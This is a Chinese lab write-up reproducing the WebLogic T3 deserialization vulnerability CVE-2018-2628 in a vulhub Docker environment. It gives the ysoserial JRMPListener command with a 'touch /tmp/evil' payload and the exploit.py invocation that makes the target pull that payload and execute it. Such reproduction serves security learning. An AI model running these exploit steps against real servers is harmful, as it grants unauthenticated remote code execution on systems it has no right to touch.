漏洞复现 - Weblogic 反序列化命令执行漏洞(CVE-2018-2628)
基础知识
WebLogic是Orcale出品的一个application server,是J2EE构架中的一部分,具体构架如下(图片来源:https://www.bilibili.com/video/av53746375?p=1)
漏洞原理
远程攻击者可利用该漏洞在未授权的情况下发送攻击数据,通过T3协议(EJB支持远程访问,且支持多种协议。这是Web Container和EJB Container的主要区别)在Weblogic Server中执行反序列化操作,利用RMI(远程方法调用) 机制的缺陷,通过 JRMP 协议(Java Remote Messaging Protocol:java远程消息交换协议)达到执行任意反序列化 payload 的目的。
影响版本
Oracle WebLogic Server10.3.6.0
Oracle WebLogic Server12.2.1.2
Oracle WebLogic Server12.2.1.3
Oracle WebLogic Server12.1.3.0
复现环境
在ubuntu 16.04虚拟机中用vulhub靶场提供的docker镜像来复现
jdk版本1.7,python版本为2.7(不能是python3,exploit.py脚本只能在python2上执行)
WebLogic版本为:10.3.6.0
ysoserial:https://github.com/brianwrf/ysoserial/releases/tag/0.0.6-pri-beta
exploit.py脚本:https://www.exploit-db.com/exploits/44553
复现过程
1. 进入vulhub目录:weblogic/CVE-2018-2628,启动docker容器:docker-compose up -d
启动容器过程中一直连接超时或者无权限的错误,解决方法:网速问题,需要。。。你懂的~
启动成功后weblogic也启动了,可以访问weblogic控制台:http://127.0.0.1:7001/console
2. 启动一个JRMP Server
java -cp ~/sally/ysoserial-0.0.6-all.jar ysoserial.exploit.JRMPListener 2325 CommonsCollections1 'touch /tmp/evil'
3. 使用exploit.py脚本,向目标Weblogic(http://ip:7001
)发送数据包:
python ~/sally/exploit.py 127.0.0.1 7001 ~/sally/ysoserial-0.0.6-all.jar 127.0.0.1 2325 JRMPClient
结果发送的数据包没有被监听端口2325接收到,修改IP地址为docker的ip地址:
python ~/sally/exploit.py 127.0.0.1 7001 ~/sally/ysoserial-0.0.6-all.jar 10.0.2.15 2325 JRMPClient
接收数据包成功:
4.进入docker容器:docker-compose exec weblogic bash
发现tmp/evil,恶意指令执行成功
本文仅用于技术学习和交流,严禁用于非法用途,否则产生的一切后果自行承担。